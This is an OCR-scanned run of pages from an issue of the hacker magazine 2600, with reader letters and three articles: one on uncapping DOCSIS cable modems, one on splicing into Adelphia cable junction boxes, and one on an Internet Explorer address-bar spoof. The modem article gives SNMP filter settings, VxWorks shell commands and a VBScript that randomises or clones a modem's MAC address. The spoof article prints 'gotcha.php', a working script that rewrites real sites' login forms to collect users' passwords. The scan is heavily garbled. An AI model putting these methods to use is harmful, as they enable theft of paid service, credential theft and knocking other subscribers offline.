warehouse management system and the intranet file 
system to convert raw data into a database that could 
hook in with Excel spreadsheets, etc. 1 did lots of inter- 
esling things for the company that were not really a part 
of my job on paper, but I enjoyed doing them and learn- 
ing how I could manipulate information to make the 
lives of other people more interesting while they are 
sitting at their desks scratching their heads wondering 
i “is this possible?" 


At the beginning of my experience, our on-site sup- > 
port team, which was only a small number of individu- 
als, had full access to the SQL Plus program running on 
Alpha VMS. Logging in to SQL Plus, we had full ac- 
cess to the entire Warehouse Management System 
(WMS) database, which keeps all the data responsible 
for shipments, picks, locations, transportation, routing, 
cube, size, and loads of other information. Basically 
any data having to do with tools (Black and Decker. 
Dewalt. Craftsmen. Kwikset, and many more) as it 
reaches the distribution system for all of N.A. is stored 
here. 

Time went by and things changed, the information 
was moved onto the 64-bit Unix platform and. at that 
same time, our shell access was revoked and we were 
handed a very easy-to-use, limited, telnet-based system 
admin menu, which contained all the things that the 
high-level programmers thought we needed to do in or- 
der to support the system on-site. Anything else re- 
quired a phone call to the corporate support system 
where we would be able to contact a member of the 
high-level programming group at any hour of the day. 

They removed access to the shell but they never 
said we couldn't access the database using SQL Plus for 
Windows. We just couldn't run it on Unix because we 
were locked in a menu. As soon as they revoked our ac- 
cess to the command shell, I just switched over to a 
Windows client and was able to perform my job from 
that entry point. I solved a lot of problems and did a lot 
of great things using access to this, and I never used it 
in a malicious manner. At one time. I was even able to 
create a comprehensive listing of all 250 reports in 
WMS, with a primary, secondary, and even third key- 
stroke path in the next few columns for each report I 
documented. That way if someone heard of a report but 
didn't know how to get there inside the complex telnet 
menus, they could easily refer to this spreadsheet. The 
users were so enthused. I got about ten e-mails from the 
management team saying how grateful they were to 
have this and how much it made their lives easier. 

It pleased me to help people out because the rest of 
my support team was full of a bunch of ignorant ass- 
holes. It gave me an opportunity to really shine out and 
let people know the technical support world is not com- 
pletely full of drunks and anal-retentive tetris players. 
There is some humanity inside the tech support world, 
because I have lived within it. 

Being on third shift. I had to wake people up from 
time to time. 1 learned when to call and when to wail 
until the morning came, but there were always times 
where a judgment would be unclear. To avoid political 
conflicts and let people sleep. I liked to handle as much 
as 1 could without waking someone up. Then if the 
coders heard from me at 3 am. they'd know it was really 
serious. 

I had one instance in the middle of November 2003 
where 1 could offer my services using the SQL client 
and hopefully fix the problem, or I could wait until the 
morning and leave a message for the programmers. 1 
thought I'd at least give it a look and see what I could 
find, and if 1 couldn't flx it. I might have more informa- 
tion to deliver to the people who built the system. 

After my analysis the SQL Plus client left an oracle 
lock for some reason when the application closed. In 
the morning, the highest level programmer found my 

Continued on page 48 

9 • 3 ~ ^ 



by CronoS@OlympoS 

In this article I will try to show that all is not lost in the uncapping front. If you have a shell 
enabled (firmware) cable modem (e.g. Surfboard 2100) or think you can get one (from eBay), 
read on. If you want to change your modem to an IP/LLC filtering firewall, read on. I will tell 
you how to add filters and change HFC Mac address automatically to a random MAC address 
and surf uncapped anonymously. 

Disclaimer: Use this knowledge to explore DOCSIS and vx Works OS. Do not use it for 
illegal purposes. 

Background - A Brief History of Uncapping 

I met with broadband services in 1999. When I heard that some company was planning to 
offer these services I quickly subscribed as a beta tester. A few days later I started uncapping 
with the usual TFTP spoof method (although it was so fast during the test days and there was 
no need to uncap, I felt like finding its strong and weak points). Then I accessed the router and 
learned "cable qos permission enforce" for increasing speed for a single modem or for all 
modems. And also the ISP’s Cisco Network Registrar software with default user/pass (ad- 
min/changeme) was there to set better profiles for customers. So when they found a way to 
stop (MD5/.cm file) I found another way (removing MD5 with hexedit) to do it. Then they re- 
placed their ubr7200 with a 1 2000 router and the MD5 removal thing was history. I sniffed the 
network and picked up configuration file names (512k.cm etc.). The fastest I found was a two 
megabit file and it had an easily guessed name (2048.cm). It was possible to feed these files to 
the modem with tftp. Then they thought if they changed the name to a stupid long filename 
with random characters that curious explorers wouldn't find them and use them. Heh, thanks to 
the sniffers it was easy to find out names and get them from the tftp server. 

So I started using the two megabit file but they were resetting my modem again. First I 
thought (like others) that if I could block snmp access then they wouldn't be resetting my mo- 
dem. So 1 quickly wrote a perl script to change the snmp community string and management 
IP address on the modem. Here's what you need: 

OlD=l . 3 . 6 . 1 . 3. 83. 1.2. 1.7.1 Type - inteoer Value= 5 (create filter and wait) 

OiD=l. 3. 6. 1.3. S3. 1.2. 1.2.1 Type= IP address Value=x.x.x.x (mgmt Source IP 
address) 

OXD-2 .3.6.1.3.83.1.2.1.3.1 Type = X PADDRESS Value=x. x.x.x (netmask) 

OID=l. 3. 6. 1.3. 83. 1.2. 1.4.1 Type=OCTET_STRING Value=BmCg (new community 
string here) 

oid=i . 3.6.1.3.83.1.2.1.5.1 Type=iNTEGER value =3 (read write access) 

OID^l. 3. 6. 1.3. 83. 1.2. 1.7.1 Type= INTEGER Value=l (activate filter) 

If you set these sequentially then no one will be able to reach your modem by snmp. Vic- 
tory again. But after four weeks, I found my modem getting reset again. Back to reading doc- 
sis documents again. One thing to note, it was always fun to explore this new technology and 
learn new things. As I learned, BSP techies learned too and they got better security skills. So 
isn't this good for both? Of course, the taste of fast speed was great (if you live in an animal- 
named country where the ISP commercial on TV says "Look, the connection is still there, 
we're online for hours" #!$%). 

Next, I thought if I could block all communication between the modem and CMTS (router) 
then they would not know my modem was online. This technique still works in some cities 
here. Just read the howtos at cisco.com and create IP/LLC filters with snmp: 


Page 10 


SbOO Hagazlne 


fFrom: Any ' 

To: your modems HFC IP address 
Action: Block 

IP Filtering example: 

0ID=1 ,3.6.1.3.83,1.6.3.0 Type= INTEGER Value=2 (if an IP packet does not match 
this filter then let it pass) 

OiD-i .3.6.1.3.93.1.6.4.1.2.1 Type * integer Valuers (create the IP filter table entry 
number " 1 " but don’t activate it yet) 

010=1.3.6.1.3.83.1.6.4.1.3.1 Type=iNTEGER value=i (all IP packets matching filter 
no 1 will be discarded) 

010=1.3.6.1.3.83.1.6.4.1.4.1 Type=lNTEGER Value=0 (this filter will be applied to 
both interfaces) 

010=1.3.6.1.3.83.1.6.4.1.5.1 Type = integer value=3 (this filter applies to inbound 
and outbound traffic) 

010=1.3.6.1.3.83.1.6.4.1.6.1 Type = integer value=2 (this filter does not only apply 
to broadcast and multicast traffic) 

OID=l .3.6.1.3.83.1.6.4.1.7.1 Type=IPADDRESS Value=ÂŤ0 . 0 . 0 . 0" (the source IP 
address for this filter - beginning IP - if range) 

010=1.3.6.1.3.83.1.6.4.1.8.1 Type = I PADDRESS Value= ” 0 . 0 . 0 . 0" (tile source IP 
address for this filter - end IP - if range) 

0ID=1. 3. 6. 1.3. 83. 1.6. 4. 1.9.1 Type=I PADDRESS Value=”cm HFC IP" (the 
destination IP address for this filter - low) 

0ID=1. 3. 6. 1.3. 83. 1.6. 4. 1.10.1 Type=IPADDRESS Value="cm HFC IP" (the 
destination IP address for this filter - high) 

010=1.3.6.1.3.83.1.6.4.1.11.1 Type = integer Value=256 (this filter matches TCP 
packets) 

010=1. 3. 6. 1.3. 83. 1.6. 4. 1.12.1 Type= INTEGER Value=0 (source port - low) 

0ID=1 .3.6.1.3.83.1.6.4.1.13.1 Type=INTEGER Value=6553S (source port - high) 
010=1.3.6.1.3.83.1.6.4.1.14.1 Type = integer Value=o (destination port - low) 
010=1.3.6.1.3.83.1.6.4.1.15.1 Type = integer Value=65S35 (destination port - high) 
0ID=1. 3. 6. 1.3. 83. 1.6. 4. 1.2.1 Type = INTEGER Value=i (activate the IP filter) 

LIiC filtering Example (arp filtering in this example) : 

oid=i . 3.6.1.3.83.1.6.1.0 Type = integer Value=2 (2=drop matching, allow 
others - I =allow matching, drop others) 

oid=i. 3. 6. 1.3. 83. 1.6. 2. 1 . 2.1 Type= integer value=5 (create and wait) 
010=1.3.6.1.3.83.1.6.2.1.3.1 Type= INTEGER Value=0 (both interfaces) 

OID=l. 3. 6. 1.3. 83. 1.6. 2. 1.4.1 Type= INTEGER Value=l (ethemet protocol) 

0ID=1. 3. 6. 1.3. 83. 1.6. 2. 1.5.1 Type = INTEGER Value=20 54 (arp traffic) 

010=1 .3.6.1.3.83.1.6.2.1.2.1 Type= INTEGER Value=l (activate filter) 

1 wrote a tool to add these rules to the modem easily and will make it public soon. 


As 1 moved to a smaller town (where the cable company had less than 1 (K) customers) my 
first try was quickly detected and resulted in a "shame on you" telephone conversation. I tried 
some other modem I had and they banned its MAC address and it never got online again 
(couldn’t get IP for HFC mac and with an IP like 0.0.0.0 it couldn't bind tftp and other stuff). 
Another modem, and it got banned too. Well, now it's a challenge. I should find a way. I should 
have control over the modem as much as they do. So 1 looked for a modem with shell enabled 
firmware. I found one (from eBay) and examined the underlying beautiful vxworks OS. After 
two days of hard work I found several ways to change the Mac address of the modem. 

The following techniques are for the Surfboard 2100 modem with a shell enabled firmware 
(SB2100-1.1.1-SCM-SHELL) : 

Check http://192.l68. 100.1/mainhelp.html to see if your modem has a shell enabled 
firmware. 

^Iprinj BOOH Page 41 ^ 


First, connect the modem's diagnostic port to your PC's serial port. (I will not go into 
details, consult your hardware guru friends.) 

Change your PC's IP to tftp server's IP (I will give you a sample script to automate this later 
below). 

Startup your favorite terminal program (examples are for SecureCrt) and turn on the modem. 
You will see something like: 

SURFboard Cable Modem - Model SB2100 
Cold boot @ OxbfcOOOOO . . . 

Running dramTest (32 bit) store/load basic test ... PASSED 


VxWorks System Boot 

If you see a prompt after 
$ MCNS STARTUP $ 

Launching startup. . . 

then you are ready to use the commands below: 

-> ts tScMain (Suspends the startup script (ts=taskSuspend). You will not be able to 
catch tScMain task if not entered quickly - you need a script running terminal program like 
SecureCrt.) 

-> sysHfcMacAddrSet 3Hfccccccc (0x00, OxDE, OxAD, OxBE, OxEF, 0x01) 

-> routeAdd "TFTPserveriP" , "192.168.100.1" (With the help of this you won’t need 
to ping the modem for tftp feed.) 

-> tr tScMain (Resume startup script.) 

-> td tshell (This is needed for later (privileged) shell access - prevents Cli startup, 
later just hit Ctrl+C and it will grant you a new ( privileged ) shell.) 

After modem gets the .cm file you can revert your IP settings back to DHCP. 

The first method I found was using the sysEnetMacAddrSet command. This command is 
used to change the ethemet interface's MAC address. But, 

-> 1 sysEnetMacAddrSet 

0x800a6bac 34c6800a or i a2,a2, 0x800a 
-> m 0x800a6bae (enter) 

-> 800 a 6 bae: 800 a- (type 8000 and hit enter here - for HFC interface) 

- > 800a6bbo 2504 - (just type . and hit enter to quit modifying) 

Now if we call sysEnetMacAddrSet (0x00, . . . ) it will set HFC interface's MAC address 
instead of ethemet! 

I will not list all commands here. All you need is: 
lkup "keyword" (lists the commands/functions including keyword - case sensitive (lkup 
"reset", lkup "snmp", lkup "SNMP"). 

With lkup you can find everything and if you’re familiar with assembly just use 
-> 1 command/f unction 
for further examination. 

If you set the MAC address to an already existing MAC address, the modem will be online 
with the Class of Services set for that customer and will cause the other (real one) to reset it- 
self. When the other (real one) gets online your modem will reset itself and so on. This loop- 
ing process may cause a Denial Of Service attack and prevent the legitimate user from 
connecting to the net. 

Automatic for the People 

Examples are for SecureCrt and W2k or XP. 

Add the following to startup (create a batch file and add to startup folder or add to 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrenCVersion\Run) 

C:\Program Files\SecureCrt\securecrt.exe /S sessionname /SCRIPT c:\script.vbs 
Copy the script below to c : \script . vbs. 


Page V S 


■2800 Magazine 


f \ 



Âť ^interface = "2.0" 

Dim tavan, taban, rendim, kauntir 
Dint sonuc 
Dim turns i 


Sub setaddr 

tumsi = "sysHfcMacAddrSet 3Hfccccccc (0x00" 

do while kauntir<6 
randomize 

rendim = Int ( (tavan - taban + 1) *Rnd + taban) 

aonuc= hex (rendim) 

rumai = tumsi + "," + "Ox" + aonuc 

kauntir = kauntir+1 

loop 

rumai = tumsi + ") " 

End Sub 

Do while 2=2 

crt . Screen . Synchronous = True 

tavan = 255 

taban = 27 

kauntir = 2 

setaddr () 

crt . Screen . WaitForString "Version : " 

Set shell = CreateObject ( "WScript . Shell") 

shell .Run "netsh interface ip set address "Local Area Connection" 

•►Static TFTPSERVERI PHERE 255.255.0.0 TFTPSER VER I PHERE 1" 

crt . Screen . WaitForString " 

crt . Screen. Send "ts tScMain" & vbCr 

crt . Screen . WaitForString *-> " 

crt . Screen . Send tumsi & vbCr 

crt .Screen. WaitForString "-> " 

crt . Screen . Send "routeAdd ”&Chr (34 ) 6, "TFTPSERVERI PHERE "SChr (34) A", 



crt . Screen . Wai tForString "-> " 

crt. Screen. Send "tr tScMain" & vbCr 

crt. Screen. Wai tForString "-> " 

crt . Screen . Send "td tshell" & vbCr 

crt. Screen. WaitForString "REGISTRATION SUCCESS" 

shell .Run "netsh interface ip set address "Local Area Connection" 
•~source=dhcp " 

crt . Screen . Synchronous = False 
loop 


Greetz to 2000 olympians. 



V 


by J. P. Arnold 

Despite what the cable company might 
tell you, your premium channels and high- 
speed Internet access are not controlled by a 
switch hidden inside Adelphia headquarters. 
In fact, these services are always running live 
inside the mysterious cable junction boxes 
that are littered around the average neighbor- 
hood or apartment complex. During a recent 
service visit, a friendly cable company em- 
ployee proved willing to educate me on some 
of the simpler aspects of Adelphia’s inner 
workings. This article attempts to describe 
the interior of the typical apartment complex 
cable junctions and provide some rudimen- 
tary guidance on the function of the enclosed 
hardware. While this information is specific 
to Adelphia service regions, potential for 
broader application exists. 

There are currently two components to the 
standard Adelphia residential cable junction 
point, here referred to as the "main" and the 
"mess." The main is the trunk line connecting 
the residence(s) to the Adelphia service web. 
It comes out of the ground, appearing as an 
unpretentious coaxial cable feed. This feed is 
housed in a stand-alone, green metal case ap- 
proximately 12 inches high and four inches 
square. From the behavior witnessed during 
this service call, no special equipment is re- 
quired to access this case - aside from a pair 
of steel-toed boots. 

An ordinary coaxial cable connector joins 
this main feed to another metal case - the 
"mess" - so named for the appalling spaghetti 
of wires inside that dole out bandwidth and 
programming to the neighborhood. In this in- 
stance, this second box required a special tool 
to open, reminiscent of the lock-lugs on a tire 
rim. The case is clearly constructed by the 
lowest bidder and is vulnerable to any num- 
ber of household tools. 

The cable jacks inside of the second box 
were all carefully labeled to coincide with the 
apartments to which they provided service. 
As previously mentioned, the wires them- 
selves don’t know who is paying for services. 
According to the employee, access is pro- 
vided or restricted by means of filters. For 


those customers who only pay for cable tele- 
vision, a filter is placed on the line to prevent 
Internet access. While this filter could not be 
closely examined, it appeared to be a Model 
ETN, EMN. or ESN negative filter, produced 
by Eagle Comtronics (www.eaglefilters 
•.com). For those who desire only high- ' 
speed Internet, a multi-channel negative filter I 
(probably Eagle’s Model l()M) is placed on 
the line to block television signal. Negative 
filtration is the process of interrupting signals 
to prevent unauthorized use. This supple- 
ments the positive filtration device - the cable 
box - which removes encryption from signals 
so they are readable by the end-user. As a vi- 
sual memory aide, Adelphia places a special I 
blue tie-wrap on the lines of customers who 
have elected to pay for both Internet and tele- 
vision programming. These lines have no fil- 
ters attached. There may also be metallic 
silver tags inside the box; these have been 
phased out of use and, according to the tech- 
nician, no longer hold significance. 

In an apparent effort to sabotage attempts 
to tamper with this system, Adelphia employ- 
ees supplement this setup by installing a be- 
wildering chaos of splitters and splices. 
Why? The main cable feed needs to be shared 
between all the members of the apartment 
building it services - the ones who want just 
TV, just Internet, or both. This means that the 
main line must be split into three distinct ser- 
vice facets and then spliced into the particular 
customer’s apartment. In addition to atro- 
cious signal toss, this forest of wire provides 
ample opportunity for tinkering. 

Theoretically, if someone wanted to se- 
cure unpaid access to cable television, it 
would be a simple matter to run an extra 
piece of cable from one of the in-place signal 
splitters to the cable jack labeled with your 
apartment number. You might choose to con- 
nect using either the full-service or the televi- 
sion-service-only split. Either will get you 
The Sopranos so long as you own a cable 
box. This method appears relatively risk-free. 
In general, cable technicians do not 
know/care who is paying for access in an 
apartment complex. Based on this service , 


-St, 0 0 Hagtzina- 


call, they also do not care to closely inspect 
I he work done by other people - whom they 
assume to be authorized individuals - inside 
the junction box. 

Free high-speed access is somewhat more 
difficult. As I write this article, I am not 
aware of any method that an unauthorized 
user can use to access Adelphia’s high-speed 
service without a MAC address interrogation. 
If it were possible, however, it would be wise 
to first locate a rightful high-speed user by 
searching for the blue tag on their cable feed. 
When the interruption would not be noticed, 
disconnect his/her cable, transfer the blue tie- 
wrap to your illicit splice, and then replace all 
the connections. This far-from-foolproof 
method at least insures that your splicing job 
will appear legitimate to casual inspection. 

If you need to install a new splitter, use 
caution. Any splitter introduces signal loss: 
3.5dB for a three-way, 7.0dB for a four-way. 
These signal losses are cumulative and, in the 
case of an Adclphia high-speed connection, 
any loss greater than lOdB renders a connec- 
tion useless. A TV signal should not be af- 
fected by adding a second or third splitter, but 
any Internet connectivity will suffer repeated 


dropouts. Remember also that residents fre- 
quently split the connection inside their 
homes - another potential source of signal 
loss and tampering detection. If you, the le- 
gitimate user, are experiencing connection 
dropouts or a fuzzy TV signal, call your cable 
company and request that a technician check 
your line for this type of hardware signal 
loss. 

According to the technician, Adelphia is 
planning to consolidate the main and the 
mess into one junction box. The technician 
seemed to think that this change would alle- 
viate some of the spaghetti inside the box. In 
any event, the act of consolidation is cer- 
tainly a window of detection that unautho- 
rized cable users should consider carefully. In 
the Colorado area, this migration is sched- 
uled to occur "sometime in the next two 
years." It may already be underway in some 
areas. 

This article represents some entry-level 
information on Adelphia hardware and 
service procedures. It can be used to add to 
the reader's knowledge. It should be used 


responsibly. 



Non-Secure 

Login Forms 


by I. O. Hook 

On December 9th, Secunia (http://www.se 
•cunia.com) released details on yet another 
Internet Explorer vulnerability. This one al- 
lowed malicious web site owners to spoof 
what appears in the Address: blank of IE 5, 5.5. 
and 6. 

The vulnerability was caused due to an in- 
put validation error, which can be exploited by 
including the "% 0 \" and "%00” URL encoded 
representations after the username and right 
before the character in a URL. 

Successful exploitation allows a malicious 
person to display an arbitrary FQDN (Fully 
Qualified Domain Name) in the address and 
status bars, which is different from the actual 
location of the page. 

This bug, combined with the effects of lazy 
site operators who hang their login forms out 
on non-secure web pages and ignorant users 
who depend on third-party link lists or trust 


URLs they receive in their e-mail, can really 
add up to disaster. 

Microsoft issued a patch for IE on January 
13th. But diis little bit of PHP shows just how 
easy it was (and still is on unpatched browsers) 
to grab logins and passwords. 

If you're a user, don't use IE. If you must, 
never trust a link from a web site or (even 
worse) your e-mail. For best results, type the 
URL into the Address blank, by hand, every 
time. 

If you're an operator, please put your login 
form on a secure page and don't leave it hang- 
ing in the breeze for unscrupulous middlemen 
to mirror and possibly exploit. 

This demonstration should be used for edu- 
cational purposes only; researching the legal 
ramifications of actually grabbing passwords 
with this exploit are left as an exercise for die 
student. 

[see gotcha.php, attached] 


Spring S 0 0 V 


Page VS 



<?php 


# here are a few links to get you started - most non-static URLs 

# with login forms that use <input type- "password" > will work 

$dest [] -"Slashdot" ; 

$link [j ÂŤ"http://www. slashdot .org" ; 

$dest l] Âť"Kuro5hin" ; 

$ 1 ink [ ] ÂŤ "ht tp : / /www . kuroShin . org " ; 

$dest [] -"Yahoo! " ; 

$link [] -"http: //my . yahoo.com" ; 

$dest [j ="America On-Line" ; 

$link[] -"http://www.aol.com"; 

$dest [] -"NetZero" ; 

$link[] -"http: //webmail .netzero.net" ; 

$dest [] -"Wells Fargo Bank"; 

$link [] -"http://wwW.wellsfargo.com" ; 

$dest [) -"Neverwinter Nights"; 

$link U -"http : //nwn . bioware . com" ; 

# has somebody submitted our form? 

if (isset ($the_8ite_you_really_wanted) ) 
print "<html><body>\n" ; 

print "<b>Be afraid. Be very afraid. </b>\n" ; 
print "<p>\n"? 

print "You just gave me your login and password for the following Web 

print "<p>\n"; 

print "<ul>\n"; 

foreach ($ POST as $k -> $v) 

{ 

print “«li»$k: $v</li»\n"; 

) 

foreach ($ GET as $k ÂŤ> $v) 

( 

print ”<Xi>Sk: Sv</li»\n"; 
print "</ul>\n"; 

print "<b>Have a nice day ! </b>\n" ; 
print "</body»</html>\n" ,• 
exit ; 

# if one of our links was not submitted, print the list of links 

if (1 isset <$p)) 

print "<htmlxbody>\n" ; 
print “<b>Useful Links</b»\n" ; 
print "<ul>\n"j 
$i-0 ; 

foreach ($dest as $c) 

St . Slink [$i! . *t#l%00«* . S_SERVER [' SERVER NAME' ] . SPHPSELP . *?p-’ 
print "<liÂť<a href -\"St\" >$dest [$i] </a>< Ai>\n" ; 

$i++; 

) 

print "</ul>\n " ; 

print "</body></html>\n" ; 

else 

( 

# here we go ... some eager sucker has followed one of our links 

# first, parse the URL in case we need to supply a base href later 
Surl . parse_url ($p) ; 

$base_href = $url [scheme] . *://” . $url [host] . •/"; 

# go grab the page 


Shandle ■ fopen ($p, "r”); 
Scontenta - * " ; 
do { 

Schunk = fread( Shandle, 8192) ; 
if (strlen (Schunk) ÂŤÂŤ 0) { 
break ,• 


D . • . 


U I 


4 


a l n n H . . 


site: \n ” i 


. Slink CSili 



Scontents .= $chunk ; 

) while (true); 
f close (Shandle) ; 

# stick it all in $data 

Sdata = explode (”\n" , Scontents); 

# go through $data line by line 

for ( $ i = 0 ; Si<count ($data) ; Si + + ) 

{ 

if (stristr (Sdata [$i] , "•chase")) 

< 

# found base href 

$ f oundbas e_hr e f * 1 ; 

} 

if (stristr ($data [$i] , "eform") && ! isset ($f ound_password) ) 

{ 

# save the line number where the form started 
$start_line*$i ; 

# we've found a form to look at 
$in_ formal ; 

> 

if (isset ($in_forra) && $in_form) 

{ 

# we're in the form 

if (stristr (Sdata t$i] , "type") && stristr ($data l$i) , “password")) 

( 

# we've found the password blank 
$found_password = 1 j 


if (stristr (Sdata [$i) , "</form")) 

{ 

# we're out of the form 
Sin_form = 0; 

if (isset (Sfound_pas8word) ) 

{ 

# we're done 
break ; 


if (isset ($found_password) ) 

{ 

# we found the password entry line; go back and substitute our form action 
Sdata [Sstart_line] = "<form method-\"post\" action=\"http: //" . $_SERVER 
•» I ' SERVER NAME ' ] . $PHP_SELP . "\">< input type-\ "hidden\ " name-\"the_ 

•»site_you_really_wanted\" value*\"$p\"»" ; 


# dump the compromised page to the client's browser 
foreach (Sdata as Sline) 


print "Sline"; 
print "\n"; 

if (stristr (Sline, "chead") && I isset (Sfound base href)) 


print "<base href =\ " Sbase_href \ " >\n" ; 


Continued from page 39 

user name attached to the oracle lock alongside 
SQLPLUSW.EXE and he flipped out. Two hours after I 
left work. I tried to login to the web-based e-mail appli- 
cation and 1 saw my account was disabled. Two hours 
later, my account was deleted. I got no voicemail mes- 
sages. so I came in to work that night as usual. When I 
walked through the door, the security guard told me I 
was not allowed to be inside the building and offered 
no explanation why. 

The next morning 1 heard the lowdown from my 
manager and he said the programmers thought of me as 
a security risk and they wanted me out of there immedi- 
ately. They changed all the passwords for almost every 
server and application around, and terminated me right 
then and there. 

1 wanted to tell you this story because I feel it's im- 
portant to communicate this sort of security paranoia 
that is plaguing America and perhaps the rest of the 
world today. I never hurt a soul inside that place. I 
fought Nimda and all sorts of other viruses with the 
best of them. I reported security problems and was kind 
to end-users over all the building, no matter how much 
knowledge they had. All 1 wanted to do was learn and 
experience computing in an environment where there 
were resources available to see things I would not be 
able to afford to buy on my own. They are very inse- 
cure and because they knew that I wasn't just a droid 
who stayed up all night and escalated technical prob- 
lems. I became a threat in their mind. So the real prob- 
lem in corporate America is still just plain old 
ignorance. 

Thanks for a great magazine. I have faith. 

John Anon 


Dear 2600: 

I've been going to school for the past 12 years and 
I'm currently a junior at York Community High School 
(www.elmhurst.kl2.il.us/schools/york/york.html) in 
Elmhurst, Illinois - a moderately priced suburb almost 
15 miles due west of Chicago. 1L. During my lime in 
the public school system, it's come to my attention that 
Lhere have been serious impediments of the free pursuit 
of information within the public school system. The 
school administration and teachers have been involved 
with blocking information that is informative, simply 
to avoid the risk of studenLs learning information that is 
bad. At our school, there's a piece of software installed 
called "WebSense" on a certain server on our network. 
All website queries are passed through this server, and 
URLs containing certain key terms such as "phrack" 
are blocked from access. Computers in the library are 
constantly monitored for any activity that may be inter- 
preted as unacceptable. The school library is restricted 
to schoolwork only and we're limited from learning 
anything extra (I once got in trouble for learning pro- 
gramming during a busy period in the library). In the 
information age, we should sometimes ask ourselves. 
"If our country's defense involves knowledge that may 
do good or evil, then why shouldn't our personal 
defense involve this knowledge as well?" The answer 
seems to me to be simple - our country wants 
unrestricted rights over their citizens. 

thesuavel 

Knowledge is power and this certainly shows how 
much it's feared, even in an environment that suppos- 
edly fosters it. But one thing this isn't is unusual. 

V 


Dear 2600: \ 

A friend of mine pointed to my 2600 Magazine and 
said. "You know you can get anested for having that." 
It's a sad day in America. 

sunami 

It’s only sad if you listen to the doomsayers. Be 
happy and fight. 


Dear 2600: 

During the recent snowstorms, one of the local 
news channels used a website to allow people to post 
business closings. A group of people affiliated with my 
university decided it would be fun to submit fake (often 
vulgar) business closings. Anyway, when this was in 
the newspaper the next week I overheard studenLs in 
one of my courses talking about how the site had been 
hacked.. Using a public form on a website hardly seems 
like "hacking" to me. 

ieMpleH 


Dear 2600: 

The other day I was about to go out wardriving with 
my laptop when I picked up a network before leaving 
my driveway. Problem was. it was encrypted. Damn. 1 
thought. But 1 was bored so I decided to mess around. I 
put 00000000 as the network key and pressed OK. 
Much to my surprise, it worked! I had connected to my 
neighbor's "encrypted" network. Shows that there 
really is no patch for human stupidity. 

mord 


Tips 

Dear 2600: 

In 20:3; you responded to a letter saying that some- 
one got Final Cut Pro for $50. 1 just wanted to note that 
companies like Apple and Microsoft give out educa- 
tional discounts. For the latest version of Final Cut Pro. 
you can get it at 500 dollars at the educational discount. 
How do you get this educational discount legally? 
Easy, go to a community college, register for the cheap- 
est class, buy the software, and then drop the class you 
registered. If the class is refundable, great! You just 
saved a lot of money by buying a piece of software 
legally that would have cost you much more if you 
were an average customer. 

College_Student 

This doesn't address the original point of someone 
being forced to go the pirate route because of the lack 
of any guarantee that the software would actually work 
under a certain configuration. It's an example of the 
lack of support directly affecting sales. 

Meeting Trouble 

Dear 2600: 

1 went to the Buffalo meeting this month that's sup- 
posed to be at the Food Court over at the Galleria Mall 
(which is actually in Checktowaga). Nobody was there 
for any 2600 meeting. I've asked around and this has 
been going on for almost a year now. What do you (and 
we) do when something like this happens? 

I'd just like point out that Galleria Mall is way off in 
the burbs and almost totally inaccessible by public 
transportation. It's pretty much only accessible by car. 
I'm trying to organize people to go but it's hard without 
the transportation support. Could it possibly be moved 
to something really easily accessible? Boulevard Mall 


P a g a Hi 


SbOO Hagazine 



is much closer to Buffalo and the surrounding areas and 
very easily accessible by public transportation. Not 
only that but it's only five minutes from the local col- 
lege campus - University at Buffalo North Campus. 
Tell me what I need to do to get this set in motion. 

Kaosaur 

The best way to achieve this is to first determine 
that the meetings aren't gtting on as advertised. Since 
vours is one of many such letters we've received on this 
particular location and since vie haven't gotten an up- 
date from this meeting in a white, we've delisted it. This 
means you're free to pursue starting up the meeting at a 
new site. We suggest conferring with others on this as 
the last thing you want is a divided group that can't de- 
cide where to meet. When you have a consensus, be 
sure to send us updates (to meetings <<? 2600. com only 
please) after each meeting letting us know how they're 
going. Once this has been going on for a while and ap- 
pears to be consistent, the new meeting location will be 
listed in the magazine and on the website. Good luck. 


From The Other Side 


Dear 2600: 

Mitnick merely played a series of tricks, changed 
files as he went along, was stupid enough not to change 
the ones to cover his tracks, and got arrested. 1 would 
dearly love to know what could cause people to want to 
free him. It's idiocy displayed in the greatest manner 
and respect of all things that should be considered easy 
as hell. This turkey didn't do anything great. Why the 
hell would you want to free someone who enjoys 
destroying things? 

rewt 

We gel these kinds of letters all the time but it's 
good to occasionally address the points. Here, however, 
there are few to find. You contradict yourself by ex- 
pressing moral indignation at someone who committed 
a crime and then chastise that same person for not get- 
ting away with a crime. Mitnick is the first to admit the 
wrongness of what he did. But what he didn't do - and 
what nobody affected has accused him of doing - is in- 
tentionally cause damage or harm to anything. It's re- 
ally quite disturbing to see people who apparently 
believe five years in prison wasn't enough, regardless 
of what they believe he actually did. 

Dear 2600: 

Could you, if there is any possible way pass along a 
major props/lhx to "the big letoolski" ŠGamesNet radio 
for his suddenly unexpected and very welcomed use of 
Here comes your Warrior" at approximately 3:20 am 
(California Time)??? I would greatly appreciate it. 
Keep up the awesome mag. If you ever have funding 
problems, call up the Royal Court Of Jesters. We'll help 
you out. Peace! 

Kalin 

If we never find life on another planet, perhaps this 
could be the next best thing. 

The Music Industry 

Dear 2600: 

1 am an independent recording engineer/producer 
in the Midwest. I have been a reader of 2600 since I 
learned of its existence in a book 1 found at the local li- 
brary when 1 was in grade school. I give credit to you in 


so much as you gave me the notion to play with 
technology. I tried computers, phones, etc. but never re- 
ally had the passion for either. What I really lusted for 
was audio. During high school I was an avid war dialer 
and phone phrcak. The most impressive tiling 1 did was 
call the American Embassy in Moscow from the pay- 
phone in the school lounge without paying a dime. I did 
it once and never fell like I could top it. There was the 
apex of my phreaking/social engineering. But the thirst 
for technology didn't end there. 

1 decided to attend a recording engineering school 
after high school. I had always loved taking apart tape 
decks and modifying them. 1 remember once when I 
was young wondering what would happen if you had a 
really wide tape with many tracks and control over the 
levels of each. Later I found out that this had happened 
in the 60's and was called multitraek recording. 

But 1 digress. My question to the hacker commu- 
nity is this: What do we, as the music community, need 
to do to get people to go out and buy CD's as opposed 
to copying them? I work with small, independent bands 
that literally need every penny from every record sale 
they can get. I have nothing against file sharing music. 
I support it fully. Technology needs to be embraced and 
I, for one. don't want to be the police of free will. But 
things arc changing and music can't be made without 
money being made. If a band releases a CD and nobody 
buys it, they can't make a second one. Do I need to start 
releasing high resolution DVD-A albums? I'm just 
wondering what the hacker community has to say about 
this issue. 


Jakob Larson 

There are different parts of the music "community" 
and their needs don't always coincide. In this case 
there are musicians, consumers, and the distribution 
entities encompassing record companies, distributors, 
and retail outlets. Most of the panic we've been wit- 
nessing recently stems from those latter groups as tech- 
nology and connectivity move them towards 
obsolescence. After all. why would anyone want to pay 
close to $20 for a CD of their favorite band when they 
can get it for free over the net and when the actual 
